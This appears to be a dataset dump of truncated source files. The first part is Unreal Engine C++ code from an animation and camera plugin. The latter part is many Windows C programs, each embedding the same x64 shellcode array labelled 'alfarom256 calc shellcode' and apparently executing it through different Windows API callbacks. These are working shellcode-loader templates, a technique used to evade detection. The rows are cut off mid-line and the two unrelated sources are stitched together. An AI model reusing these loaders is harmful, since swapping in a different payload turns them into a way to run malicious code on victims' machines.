text
stringlengths
1
24.5M
#pragma once #include "AlsInAirState.generated.h" USTRUCT(BlueprintType) struct ALS_API FAlsInAirState { GENERATED_BODY() UPROPERTY(EditAnywhere, BlueprintReadWrite, Category = "ALS", Meta = (ForceUnits = "cm/s")) float VerticalVelocity{0.0f}; UPROPERTY(EditAnywhere, BlueprintReadWrite, Category = "ALS") uint8...
#pragma once #include "AlsLayeringState.generated.h" USTRUCT(BlueprintType) struct ALS_API FAlsLayeringState { GENERATED_BODY() UPROPERTY(EditAnywhere, BlueprintReadWrite, Category = "ALS", Meta = (ClampMin = 0, ClampMax = 1)) float HeadBlendAmount{0.0f}; UPROPERTY(EditAnywhere, BlueprintReadWrite, Category ...
#pragma once #include "AlsLeanState.generated.h" USTRUCT(BlueprintType) struct ALS_API FAlsLeanState { GENERATED_BODY() UPROPERTY(EditAnywhere, BlueprintReadWrite, Category = "ALS", Meta = (ClampMin = -1, ClampMax = 1)) float RightAmount{0.0f}; UPROPERTY(EditAnywhere, BlueprintReadWrite, Category = "ALS", Me...
#pragma once #include "AlsLocomotionAnimationState.generated.h" USTRUCT(BlueprintType) struct ALS_API FAlsLocomotionAnimationState { GENERATED_BODY() UPROPERTY(EditAnywhere, BlueprintReadWrite, Category = "ALS") uint8 bHasInput : 1 {false}; UPROPERTY(EditAnywhere, BlueprintReadWrite, Category = "ALS", Meta =...
#pragma once #include "AlsLocomotionState.generated.h" USTRUCT(BlueprintType) struct ALS_API FAlsLocomotionState { GENERATED_BODY() UPROPERTY(EditAnywhere, BlueprintReadWrite, Category = "ALS") uint8 bHasInput : 1 {false}; UPROPERTY(EditAnywhere, BlueprintReadWrite, Category = "ALS", Meta = (ClampMin = -180,...
#pragma once #include "AlsMantlingState.generated.h" USTRUCT(BlueprintType) struct ALS_API FAlsMantlingState { GENERATED_BODY() UPROPERTY(EditAnywhere, BlueprintReadWrite, Category = "ALS") int32 RootMotionSourceId{0}; };
#pragma once #include "AlsMovementBaseState.generated.h" USTRUCT(BlueprintType) struct ALS_API FAlsMovementBaseState { GENERATED_BODY() UPROPERTY(BlueprintReadWrite, Category = "ALS") TObjectPtr<UPrimitiveComponent> Primitive; UPROPERTY(EditAnywhere, BlueprintReadWrite, Category = "ALS") FName BoneName; UPRO...
#pragma once #include "AlsMovementDirection.generated.h" UENUM(BlueprintType) enum class EAlsMovementDirection : uint8 { Forward, Backward, Left, Right }; USTRUCT(BlueprintType) struct ALS_API FAlsMovementDirectionCache { GENERATED_BODY() public: UPROPERTY(EditAnywhere, BlueprintReadWrite, Category = "ALS"...
#pragma once #include "AlsPoseState.generated.h" USTRUCT(BlueprintType) struct ALS_API FAlsPoseState { GENERATED_BODY() UPROPERTY(EditAnywhere, BlueprintReadWrite, Category = "ALS", Meta = (ClampMin = 0, ClampMax = 1)) float GroundedAmount{1.0f}; UPROPERTY(EditAnywhere, BlueprintReadWrite, Category = "ALS", ...
#pragma once #include "Animation/PoseSnapshot.h" #include "AlsRagdollingAnimationState.generated.h" USTRUCT(BlueprintType) struct ALS_API FAlsRagdollingAnimationState { GENERATED_BODY() UPROPERTY(EditAnywhere, BlueprintReadWrite, Category = "ALS") FPoseSnapshot FinalRagdollPose; UPROPERTY(EditAnywhere, Bluep...
#pragma once #include "AlsRagdollingState.generated.h" USTRUCT(BlueprintType) struct ALS_API FAlsRagdollingState { GENERATED_BODY() UPROPERTY(EditAnywhere, BlueprintReadWrite, Category = "ALS") FVector Velocity{ForceInit}; UPROPERTY(EditAnywhere, BlueprintReadWrite, Category = "ALS", Meta = (ForceUnits = "N"...
#pragma once #include "AlsRollingState.generated.h" USTRUCT(BlueprintType) struct ALS_API FAlsRollingState { GENERATED_BODY() UPROPERTY(EditAnywhere, BlueprintReadWrite, Category = "ALS", Meta = (ClampMin = -180, ClampMax = 180, ForceUnits = "deg")) float TargetYawAngle{0.0f}; };
#pragma once #include "AlsRotateInPlaceState.generated.h" USTRUCT(BlueprintType) struct ALS_API FAlsRotateInPlaceState { GENERATED_BODY() UPROPERTY(EditAnywhere, BlueprintReadWrite, Category = "ALS") uint8 bUpdatedThisFrame : 1 {false}; UPROPERTY(EditAnywhere, BlueprintReadWrite, Category = "ALS") uint8 bRo...
#pragma once #include "AlsSpineState.generated.h" USTRUCT(BlueprintType) struct ALS_API FAlsSpineState { GENERATED_BODY() UPROPERTY(EditAnywhere, BlueprintReadWrite, Category = "ALS") uint8 bSpineRotationAllowed : 1 {false}; UPROPERTY(EditAnywhere, BlueprintReadWrite, Category = "ALS", Meta = (ClampMin = 0, ...
#pragma once #include "AlsStandingState.generated.h" USTRUCT(BlueprintType) struct ALS_API FAlsStandingState { GENERATED_BODY() UPROPERTY(EditAnywhere, BlueprintReadWrite, Category = "ALS", Meta = (ClampMin = 0, ClampMax = 1)) float StrideBlendAmount{0.0f}; UPROPERTY(EditAnywhere, BlueprintReadWrite, Category =...
#pragma once #include "AlsTransitionsState.generated.h" class UAnimSequenceBase; USTRUCT(BlueprintType) struct ALS_API FAlsTransitionsState { GENERATED_BODY() UPROPERTY(EditAnywhere, BlueprintReadWrite, Category = "ALS") uint8 bTransitionsAllowed : 1 {false}; UPROPERTY(EditAnywhere, BlueprintReadWrite, Categor...
#pragma once #include "AlsTurnInPlaceState.generated.h" class UAlsTurnInPlaceSettings; USTRUCT(BlueprintType) struct ALS_API FAlsTurnInPlaceState { GENERATED_BODY() UPROPERTY(EditAnywhere, BlueprintReadWrite, Category = "ALS") uint8 bUpdatedThisFrame : 1 {false}; UPROPERTY(EditAnywhere, BlueprintReadWrite, ...
#pragma once #include "AlsViewAnimationState.generated.h" USTRUCT(BlueprintType) struct ALS_API FAlsViewAnimationState { GENERATED_BODY() UPROPERTY(EditAnywhere, BlueprintReadWrite, Category = "ALS") FRotator Rotation{ForceInit}; UPROPERTY(EditAnywhere, BlueprintReadWrite, Category = "ALS", Meta = (ClampMin ...
#pragma once #include "AlsViewState.generated.h" USTRUCT(BlueprintType) struct ALS_API FAlsViewNetworkSmoothingState { GENERATED_BODY() UPROPERTY(EditAnywhere, BlueprintReadWrite, Category = "ALS") uint8 bEnabled : 1 {false}; // Used to track the time of the last server move. UPROPERTY(EditAnywhere, Bluepri...
#pragma once #include "Kismet/BlueprintFunctionLibrary.h" #include "AlsConstants.generated.h" UCLASS(Meta = (BlueprintThreadSafe)) class ALS_API UAlsConstants : public UBlueprintFunctionLibrary { GENERATED_BODY() protected: // Bones inline static const FName RootBone{TEXTVIEW("root")}; inline static const FName...
#pragma once #include "Kismet/BlueprintFunctionLibrary.h" #include "AlsDebugUtility.generated.h" UCLASS() class ALS_API UAlsDebugUtility : public UBlueprintFunctionLibrary { GENERATED_BODY() public: static constexpr auto DrawImpactPointSize{32.0f}; static constexpr auto DrawLineThickness{1.0f}; static constexpr ...
#pragma once #include "Containers/UnrealString.h" #include "UObject/ReflectedTypeAccessors.h" namespace AlsEnumUtility { template <class EnumType> concept CIsUEnumClass = static_cast<bool>(TIsUEnumClass<EnumType>::Value); template <CIsUEnumClass EnumType> int32 GetIndexByValue(const EnumType Value) { retur...
#pragma once #include "NativeGameplayTags.h" namespace AlsViewModeTags { ALS_API UE_DECLARE_GAMEPLAY_TAG_EXTERN(FirstPerson) ALS_API UE_DECLARE_GAMEPLAY_TAG_EXTERN(ThirdPerson) } namespace AlsLocomotionModeTags { ALS_API UE_DECLARE_GAMEPLAY_TAG_EXTERN(Grounded) ALS_API UE_DECLARE_GAMEPLAY_TAG_EXTERN(InAir) } ...
#pragma once #include "Logging/LogMacros.h" namespace AlsLog { ALS_API extern const FName MessageLogName; } ALS_API DECLARE_LOG_CATEGORY_EXTERN(LogAls, Log, All)
#pragma once #include "Misc/AssertionMacros.h" #define ALS_GET_TYPE_STRING(Type) \ ((void) sizeof UEAsserts_Private::GetMemberNameCheckedJunk(static_cast<Type*>(nullptr)), TEXTVIEW(#Type)) // A lightweight version of the ensure() macro that doesn't generate a C++ call stack and doesn't send a // crash report, be...
#pragma once #include "Kismet/BlueprintFunctionLibrary.h" #include "State/AlsMovementDirection.h" #include "AlsMath.generated.h" USTRUCT(BlueprintType) struct ALS_API FAlsSpringFloatState { GENERATED_BODY() public: UPROPERTY(EditAnywhere, BlueprintReadWrite, Category = "ALS") float Velocity{ForceInit}; UPROPERT...
#pragma once #include "Kismet/BlueprintFunctionLibrary.h" #include "AlsMontageUtility.generated.h" UCLASS() class ALS_API UAlsMontageUtility : public UBlueprintFunctionLibrary { GENERATED_BODY() public: UFUNCTION(BlueprintPure, Category = "ALS|Montage Utility", Meta = (ReturnDisplayName = "Transform")) static FTr...
#pragma once #include "Concepts/Pointer.h" namespace AlsPrivateMemberAccessor { // Global pointer to a field or method. template <typename AccessorName> AccessorName::MemberType TMemberPointer; // Struct that is used to initialize TPointer. template <typename AccessorName, typename AccessorName::MemberType M...
#pragma once #include "AlsMath.h" #include "AlsRotation.generated.h" UCLASS(Meta = (BlueprintThreadSafe)) class ALS_API UAlsRotation : public UBlueprintFunctionLibrary { GENERATED_BODY() public: static constexpr auto CounterClockwiseRotationAngleThreshold{5.0f}; public: template <typename ValueType> requires UE:...
#pragma once #include "Kismet/BlueprintFunctionLibrary.h" #include "AlsUtility.generated.h" struct FBasedMovementInfo; DECLARE_STATS_GROUP(TEXT("Als"), STATGROUP_Als, STATCAT_Advanced) UCLASS() class ALS_API UAlsUtility : public UBlueprintFunctionLibrary { GENERATED_BODY() public: static constexpr FStringView Bo...
#pragma once #include "Kismet/BlueprintFunctionLibrary.h" #include "AlsVector.generated.h" USTRUCT(BlueprintType) struct ALS_API FAlsSpringVectorState { GENERATED_BODY() public: UPROPERTY(EditAnywhere, BlueprintReadWrite, Category = "ALS") FVector Velocity{ForceInit}; UPROPERTY(EditAnywhere, BlueprintReadWrite,...
#include "AlsCameraAnimationInstance.h" #include "AlsCameraComponent.h" #include "AlsCharacter.h" #include "Engine/World.h" #include UE_INLINE_GENERATED_CPP_BY_NAME(AlsCameraAnimationInstance) void UAlsCameraAnimationInstance::NativeInitializeAnimation() { Super::NativeInitializeAnimation(); Character = Cast<AAls...
#include "AlsCameraComponent.h" #include "AlsCameraSettings.h" #include "DrawDebugHelpers.h" #include "Animation/AnimInstance.h" #include "Engine/OverlapResult.h" #include "GameFramework/Character.h" #include "GameFramework/WorldSettings.h" #include "Utility/AlsCameraConstants.h" #include "Utility/AlsDebugUtility.h" #...
#include "AlsCameraComponent.h" #include "DisplayDebugHelpers.h" #include "Animation/AnimInstance.h" #include "Engine/Canvas.h" #include "Engine/Engine.h" #include "Utility/AlsCameraConstants.h" #include "Utility/AlsUtility.h" #define LOCTEXT_NAMESPACE "AlsCameraComponentDebug" void UAlsCameraComponent::DisplayDebug...
#include "ALSCameraModule.h" #if ALLOW_CONSOLE #include "Engine/Console.h" #endif IMPLEMENT_MODULE(FALSCameraModule, ALSCamera) void FALSCameraModule::StartupModule() { FDefaultModuleImpl::StartupModule(); #if ALLOW_CONSOLE UConsole::RegisterConsoleAutoCompleteEntries.AddRaw(this, &FALSCameraModule::Console_OnReg...
#pragma once #include "Modules/ModuleManager.h" struct FAutoCompleteCommand; class ALSCAMERA_API FALSCameraModule : public FDefaultModuleImpl { public: virtual void StartupModule() override; virtual void ShutdownModule() override; private: #if ALLOW_CONSOLE void Console_OnRegisterAutoCompleteEntries(TArray<FAut...
#include "AlsCameraSettings.h" #include UE_INLINE_GENERATED_CPP_BY_NAME(AlsCameraSettings) #if WITH_EDITORONLY_DATA void UAlsCameraSettings::Serialize(FArchive& Archive) { UObject::Serialize(Archive); // NOLINT(bugprone-parent-virtual-call) if (Archive.IsLoading()) { PostProcess.OnAfterLoad(); } } #endif
#include "Notifies/AlsAnimNotify_CameraShake.h" #include "Camera/CameraShakeBase.h" #include "Components/SkeletalMeshComponent.h" #include "GameFramework/Pawn.h" #include "GameFramework/PlayerController.h" #include UE_INLINE_GENERATED_CPP_BY_NAME(AlsAnimNotify_CameraShake) UAlsAnimNotify_CameraShake::UAlsAnimNotify_...
#pragma once #include "Animation/AnimInstance.h" #include "Utility/AlsGameplayTags.h" #include "AlsCameraAnimationInstance.generated.h" class AAlsCharacter; class UAlsCameraComponent; UCLASS() class ALSCAMERA_API UAlsCameraAnimationInstance : public UAnimInstance { GENERATED_BODY() protected: UPROPERTY(VisibleAny...
#pragma once #include "Components/SkeletalMeshComponent.h" #include "Utility/AlsMath.h" #include "AlsCameraComponent.generated.h" class UAlsCameraSettings; class ACharacter; UCLASS(ClassGroup = "ALS", Meta = (BlueprintSpawnableComponent), HideCategories = ("ComponentTick", "Clothing", "Physics", "MasterPoseComponen...
#pragma once #include "Engine/DataAsset.h" #include "Engine/Scene.h" #include "Utility/AlsConstants.h" #include "AlsCameraSettings.generated.h" USTRUCT(BlueprintType) struct ALSCAMERA_API FAlsFirstPersonCameraSettings { GENERATED_BODY() UPROPERTY(EditAnywhere, BlueprintReadWrite, Category = "ALS", Meta = (Clamp...
#pragma once #include "Animation/AnimNotifies/AnimNotify.h" #include "Templates/SubclassOf.h" #include "AlsAnimNotify_CameraShake.generated.h" class UCameraShakeBase; UCLASS(DisplayName = "Als Camera Shake Animation Notify") class ALSCAMERA_API UAlsAnimNotify_CameraShake : public UAnimNotify { GENERATED_BODY() pro...
#pragma once #include "Kismet/BlueprintFunctionLibrary.h" #include "AlsCameraConstants.generated.h" UCLASS(Meta = (BlueprintThreadSafe)) class ALSCAMERA_API UAlsCameraConstants : public UBlueprintFunctionLibrary { GENERATED_BODY() protected: // Animation Curves inline static const FName CameraOffsetXCurve{TEXTVI...
#include "ALSEditorModule.h" #include "Modules/ModuleManager.h" IMPLEMENT_MODULE(FDefaultModuleImpl, ALSEditor)
#pragma once
#include "AlsSkeletonUtility.h" #include "Animation/BlendProfile.h" #include "Engine/SkeletalMeshSocket.h" #include "Logging/MessageLog.h" #include "Misc/UObjectToken.h" #include "Utility/AlsLog.h" #include "Utility/AlsMacros.h" #include UE_INLINE_GENERATED_CPP_BY_NAME(AlsSkeletonUtility) #define LOCTEXT_NAMESPACE "...
#include "Modifiers/AlsAnimationModifier_CalculateRotationYawSpeed.h" #include "Animation/AnimSequence.h" #include "Utility/AlsConstants.h" #include UE_INLINE_GENERATED_CPP_BY_NAME(AlsAnimationModifier_CalculateRotationYawSpeed) void UAlsAnimationModifier_CalculateRotationYawSpeed::OnApply_Implementation(UAnimSeq...
#include "Modifiers/AlsAnimationModifier_CopyCurves.h" #include "Animation/AnimSequence.h" #include "Utility/AlsMacros.h" #include UE_INLINE_GENERATED_CPP_BY_NAME(AlsAnimationModifier_CopyCurves) void UAlsAnimationModifier_CopyCurves::OnApply_Implementation(UAnimSequence* Sequence) { Super::OnApply_Implementatio...
#include "Modifiers/AlsAnimationModifier_CreateCurves.h" #include "Animation/AnimSequence.h" #include UE_INLINE_GENERATED_CPP_BY_NAME(AlsAnimationModifier_CreateCurves) void UAlsAnimationModifier_CreateCurves::OnApply_Implementation(UAnimSequence* Sequence) { Super::OnApply_Implementation(Sequence); for (const...
#include "Modifiers/AlsAnimationModifier_CreateLayeringCurves.h" #include "Animation/AnimSequence.h" #include UE_INLINE_GENERATED_CPP_BY_NAME(AlsAnimationModifier_CreateLayeringCurves) void UAlsAnimationModifier_CreateLayeringCurves::OnApply_Implementation(UAnimSequence* Sequence) { Super::OnApply_Implementation...
#include "Nodes/AlsAnimGraphNode_CurvesBlend.h" #include UE_INLINE_GENERATED_CPP_BY_NAME(AlsAnimGraphNode_CurvesBlend) #define LOCTEXT_NAMESPACE "AlsAnimGraphNode_CurvesBlend" FText UAlsAnimGraphNode_CurvesBlend::GetNodeTitle(const ENodeTitleType::Type TitleType) const { return LOCTEXT("Title", "Blend Curves"); } ...
#include "Nodes/AlsAnimGraphNode_GameplayTagsBlend.h" #include "Utility/AlsUtility.h" #include UE_INLINE_GENERATED_CPP_BY_NAME(AlsAnimGraphNode_GameplayTagsBlend) #define LOCTEXT_NAMESPACE "AlsAnimGraphNode_GameplayTagsBlend" UAlsAnimGraphNode_GameplayTagsBlend::UAlsAnimGraphNode_GameplayTagsBlend() { Node.AddPose...
#pragma once #include "Animation/Skeleton.h" #include "AlsSkeletonUtility.generated.h" USTRUCT(BlueprintType) struct ALSEDITOR_API FAlsBlendProfileEntry { GENERATED_BODY() UPROPERTY(EditAnywhere, BlueprintReadWrite, Category = "ALS") FName BoneName; UPROPERTY(EditAnywhere, BlueprintReadWrite, Category = "ALS") ...
#pragma once #include "AnimationModifier.h" #include "AlsAnimationModifier_CalculateRotationYawSpeed.generated.h" // This animation modifier calculates the root rotation speed and is used to create the rotation yaw // speed curves for the rotation animations. Each curve value represents the rotation speed from // ...
#pragma once #include "AnimationModifier.h" #include "AlsAnimationModifier_CopyCurves.generated.h" UCLASS(DisplayName = "Als Copy Curves Animation Modifier") class ALSEDITOR_API UAlsAnimationModifier_CopyCurves : public UAnimationModifier { GENERATED_BODY() protected: UPROPERTY(EditAnywhere, BlueprintReadOnly, ...
#pragma once #include "AnimationModifier.h" #include "Utility/AlsConstants.h" #include "AlsAnimationModifier_CreateCurves.generated.h" USTRUCT(BlueprintType) struct ALSEDITOR_API FAlsAnimationCurveKey { GENERATED_BODY() UPROPERTY(EditAnywhere, BlueprintReadWrite, Category = "ALS", Meta = (ClampMin = 0)) int32 ...
#pragma once #include "AnimationModifier.h" #include "Utility/AlsConstants.h" #include "AlsAnimationModifier_CreateLayeringCurves.generated.h" UCLASS(DisplayName = "Als Create Layering Curves Animation Modifier") class ALSEDITOR_API UAlsAnimationModifier_CreateLayeringCurves : public UAnimationModifier { GENERATE...
#pragma once #include "AnimGraphNode_Base.h" #include "Nodes/AlsAnimNode_CurvesBlend.h" #include "AlsAnimGraphNode_CurvesBlend.generated.h" UCLASS() class ALSEDITOR_API UAlsAnimGraphNode_CurvesBlend : public UAnimGraphNode_Base { GENERATED_BODY() protected: UPROPERTY(EditAnywhere, BlueprintReadOnly, Category = "Se...
#pragma once #include "AnimGraphNode_BlendListBase.h" #include "Nodes/AlsAnimNode_GameplayTagsBlend.h" #include "AlsAnimGraphNode_GameplayTagsBlend.generated.h" UCLASS() class ALSEDITOR_API UAlsAnimGraphNode_GameplayTagsBlend : public UAnimGraphNode_BlendListBase { GENERATED_BODY() protected: UPROPERTY(EditAnywher...
#include "AlsAIController.h" #include UE_INLINE_GENERATED_CPP_BY_NAME(AlsAIController) AAlsAIController::AAlsAIController() { bAttachToPawn = true; } void AAlsAIController::OnPossess(APawn* NewPawn) { Super::OnPossess(NewPawn); RunBehaviorTree(BehaviorTree); } FVector AAlsAIController::GetFocalPointOnActor(cons...
#include "AlsCharacterExample.h" #include "AlsCameraComponent.h" #include "EnhancedInputComponent.h" #include "EnhancedInputSubsystems.h" #include "Engine/LocalPlayer.h" #include "GameFramework/PlayerController.h" #include "Utility/AlsVector.h" #include UE_INLINE_GENERATED_CPP_BY_NAME(AlsCharacterExample) AAlsCharac...
#include "ALSExtrasModule.h" #include "Modules/ModuleManager.h" IMPLEMENT_MODULE(FDefaultModuleImpl, ALSExtras)
#pragma once
#pragma once #include "AIController.h" #include "AlsAIController.generated.h" UCLASS(DisplayName = "Als AI Controller") class ALSEXTRAS_API AAlsAIController : public AAIController { GENERATED_BODY() protected: UPROPERTY(EditAnywhere, BlueprintReadOnly, Category = "Settings") TObjectPtr<UBehaviorTree> BehaviorTree...
#pragma once #include "AlsCharacter.h" #include "AlsCharacterExample.generated.h" struct FInputActionValue; class UAlsCameraComponent; class UInputMappingContext; class UInputAction; UCLASS(AutoExpandCategories = ("Settings|Als Character Example")) class ALSEXTRAS_API AAlsCharacterExample : public AAlsCharacter { G...
#include <windows.h> #include <stdio.h> #include <wincrypt.h> // Requires Crypt32.lib // alfarom256 calc shellcode unsigned char op[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52" "\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48" "\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x3...
#include <windows.h> #include <stdio.h> #include <wincrypt.h> // requires Crypt32.lib // alfarom256 calc shellcode unsigned char op[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52" "\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48" "\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x...
#include <windows.h> #include <stdio.h> #include <dpa_dsa.h> int err(const char* errmsg) { printf("Error: %s (%u)\n", errmsg, ::GetLastError()); return 1; } // alfarom256 calc shellcode unsigned char op[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52" "\x51\x56\x48\x31\xd2\x65\x48\x8b\x...
#include <windows.h> #include <stdio.h> // alfarom256 calc shellcode unsigned char op[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52" "\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48" "\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9" "\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x2...
#include <windows.h> #include <stdio.h> #include <threadpoolapiset.h> // This technique was developed by alfarom256 please check out his awesome work! #define LEN 277 // run calc unsigned char op[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52" "\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x...
#include <windows.h> #include <stdio.h> // alfarom256 calc shellcode unsigned char op[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52" "\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48" "\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9" "\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x...
#include <Windows.h> #include <stdio.h> #include <wincrypt.h> #pragma comment(lib, "Crypt32.lib") // alfarom256 calc shellcode unsigned char op[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52" "\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48" "\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4...
#include <Windows.h> // alfarom256 calc shellcode unsigned char op[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52" "\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48" "\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9" "\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x...
#include <Windows.h> // alfarom256 calc shellcode unsigned char op[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52" "\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48" "\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9" "\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x...
#include <windows.h> #include <stdio.h> int err(const char* errmsg) { printf("Error: %s (%u)\n", errmsg, ::GetLastError()); return 1; } // alfarom256 calc shellcode unsigned char op[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52" "\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18...
#include <windows.h> #include <stdio.h> int err(const char* errmsg) { printf("Error: %s (%u)\n", errmsg, ::GetLastError()); return 1; } // alfarom256 calc shellcode unsigned char op[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52" "\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x1...
#include <windows.h> #include <stdio.h> int err(const char* errmsg) { printf("Error: %s (%u)\n", errmsg, ::GetLastError()); return 1; } // alfarom256 calc shellcode unsigned char op[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52" "\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18...
#include <windows.h> #include <stdio.h> // requires Dbghelp.lib #include <Dbghelp.h> #pragma comment(lib, "Dbghelp.lib") // alfarom256 calc shellcode unsigned char op[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52" "\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48" "\x8b\x52\x20\x48\x8b...
#include <windows.h> #include <stdio.h> int err(const char* errmsg) { printf("Error: %s (%u)\n", errmsg, ::GetLastError()); return 1; } // alfarom256 calc shellcode unsigned char op[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52" "\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18...
#include <windows.h> #include <stdio.h> #include <dbghelp.h> // Requires dbghelp.lib // alfarom256 calc shellcode unsigned char op[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52" "\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48" "\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31...
#include <Windows.h> #include <stdio.h> // alfarom256 calc shellcode unsigned char op[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52" "\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48" "\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9" "\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x2...
#include <Windows.h> #include <stdio.h> // alfarom256 calc shellcode unsigned char op[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52" "\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48" "\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9" "\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x2...
#include <Windows.h> // alfarom256 calc shellcode unsigned char op[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52" "\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48" "\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9" "\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\...
// EnumICMProfiles.cpp : This file contains the 'main' function. Program execution begins and ends there. // #include <Windows.h> unsigned char op[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52" "\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48" "\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7...
#include <windows.h> #include <stdio.h> // alfarom256 calc shellcode unsigned char op[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52" "\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48" "\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9" "\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x...
#include <Windows.h> #include <stdio.h> // alfarom256 calc shellcode unsigned char op[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52" "\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48" "\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9" "\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x2...
#include <windows.h> #include <stdio.h> #include <psapi.h> // alfarom256 calc shellcode unsigned char op[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52" "\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48" "\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9" "\x48\x31\xc0\xac\x3c...
#include <windows.h> #include <stdio.h> int err(const char* errmsg) { printf("Error: %s (%u)\n", errmsg, ::GetLastError()); return 1; } // alfarom256 calc shellcode unsigned char op[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52" "\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18...
